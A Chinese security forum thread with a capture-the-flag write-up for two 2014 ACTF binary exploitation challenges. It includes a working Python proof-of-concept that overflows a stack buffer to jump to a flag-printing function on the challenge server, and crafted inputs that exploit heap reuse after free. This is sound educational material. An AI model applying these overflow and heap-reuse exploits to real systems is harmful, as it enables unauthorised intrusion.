吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 13332|回复: 19
收起左侧

[调试逆向] ACTF exp分析

  [复制链接]
JoyChou 发表于 2014-4-10 16:30
本帖最后由 JoyChou 于 2014-4-10 16:46 编辑

第一题:餐前甜点

描述:nc 218.2.197.236 2009

溢出点 get,不判断输入字符的长度,导致覆盖v2,并执行v2
1.png
堆栈中是这样存放的(堆栈地址越大,就越往下)

result
v1  0x80个字节大小  0x9c-0x1c
v2  4个字节
ebp
ret

思路:输入长度为0x80后面加上bindshell的shellcode。
但是,shellcode总是执行不成功。

用checksec.sh脚本看下

2.jpg

原来有dep保护。

搜索字符串发现,程序本身是要读取flag的,所以后面的shellcode只需换成下面这个函数的地址即可
3.png


4.png

最后的poc
[Python] 纯文本查看 复制代码
# -*- coding:utf-8 -*-
import socket
import struct
# 新建套接字
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
#和服务端连接
s.connect(('218.2.197.236 ', 2009))
 
print s.recv(4096)
 
# 转换为\x5c\x85\x04\x08  可以用print repr(str)输出
str = struct.pack("I", 0x0804855C)
 
s.send("1"*128 + str + '\n')
 
#一直输出,当看到有结果了,暂停程序即可。
while(1):
    print s.recv(4096)
 
# 关闭套接字
s.close()



5.png





第二题:杀猪吃肉


描述:nc 218.2.197.236 2010

0x1. 基础储备
函数调用:
可以发现,参数调用顺序为rdi(edi)  rsi(esi)  edx   ,即如果只有一个参数,那就用rdi传递参数。以此类推
具体是用rdi和edi就是看参数类型大小。
即rdi rsi edx分别为参数1,2,3,顺序为edx rsi rdi  (相当于从右往左压栈)

比如下图,就可以这样理解,edx第三个参数,esi第二个参数,rdi第一个参数。
11.png


指针申请
在linux中(x64下)x86的没测试过。free掉重新申请,发现指针是一样的。
12.jpg


如果没有free重新申请,申请的指针相差0x20
13.jpg

当分配长度大于等于25的时候,就又相差0x20了。好神奇的linux~
14.jpg

最短24字节,相差0x20
15.jpg


字符输入长度
在linux上,
fgets是要接收回车字符的。假如输入123,长度为4

gets是不会接收回车字符的。假如输入123,长度为3
16.png


0x2. IDA分析

killPig 中的操作:
比较输入的前8个字节是否为killPig (注意有个空格)。
如果是,就malloc分配8个字节大小的内存给cs:auth,并且初始化为0。
并且将第9位以后的内容拷贝到cs:auth里面。如果输入的字符串长度一共大于0x1E+8 = 0x26,就不执行拷贝操作。直接执行下面的reset操作

reset中的操作:
比较输入的前5个字节是否为reset。
如果是,就free掉cs:auth里面的内容。(相当于cs:auth没有内容)
不是,就跳到feedPig操作

feedPig中的操作:

比较输入的前7个字节是否为feedPig。
如果是,就用strdup从第输入的地址+8(即第9个字节),分配一个另外的指针给cs:service。但是没有free(不过没有影响)。

最后的正确判断:
判断cs:auth偏移0x20处的值是否为0,如果不为0即得到flag

0x3. 解题思路
所以就有两个思路:
1. 使用reset。由于使用reset,cs:auth会被free,所以下次再feedPig中申请的地址和cs:auth是一样的。
17.jpg

根据这个图就知道,feedPig只需要输入24个字节+1个回车即可。
构造出来为:feedPig0 + 01234567890123456789012+回车(25位一共,这是最短的)

此时的cs:auth+0x20指向的内容是01234567890123456789012
18.png


2. 不使用reset。由于不使用reset,cs:auth没有被free,所以下次feedPig用strdup申请的地址是cs:auth偏移0x20处。
  这样,只需保证strdup能申请成功即可。最短长度为,feedPig+1个字符+1个回车
19.png



附件:bin+checksec.sh+idb文件: pwn.zip (52.66 KB, 下载次数: 26)

免费评分

参与人数 1热心值 +1 收起 理由
2658026667 + 1 我很赞同!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

 楼主| JoyChou 发表于 2014-4-21 19:01
本帖最后由 JoyChou 于 2014-4-21 19:04 编辑
Hmily 发表于 2014-4-21 15:46
这个区现在好冷清啊,见到技术贴就给精华吧。

软件破解区太火了,把其他区都冲淡了。
九零-鑫鑫 发表于 2014-4-23 18:06
本帖最后由 九零-鑫鑫 于 2014-4-23 18:09 编辑

不错 学习了 这个地方以后应该有机会接触 谢谢楼主分享
_(:з」∠)_ 苦逼的C码农  煮面去

Hmily 发表于 2014-4-21 15:46
这个区现在好冷清啊,见到技术贴就给精华吧。
as8905104 发表于 2014-4-24 03:50
不错 学习了 这个地方以后应该有机会接触 谢谢楼主分享
as8905104 发表于 2014-4-24 03:53

感谢分享,楼主辛苦了!
h_one 发表于 2014-4-24 08:26
{:1_930:}脚臭的头像,跟本人真像啊

点评

- - 观察得这么仔细,看来你喜欢我 。  发表于 2014-4-24 09:48
头像被屏蔽
hfll8888 发表于 2014-4-27 16:55
这个区确实冷清,但是大牛多
__star__ 发表于 2014-4-30 22:47
跟大牛好好学习下,希望大牛继续发表精彩文章
凌云9 发表于 2014-5-3 19:49
膜拜大神,
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-5-9 22:02

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表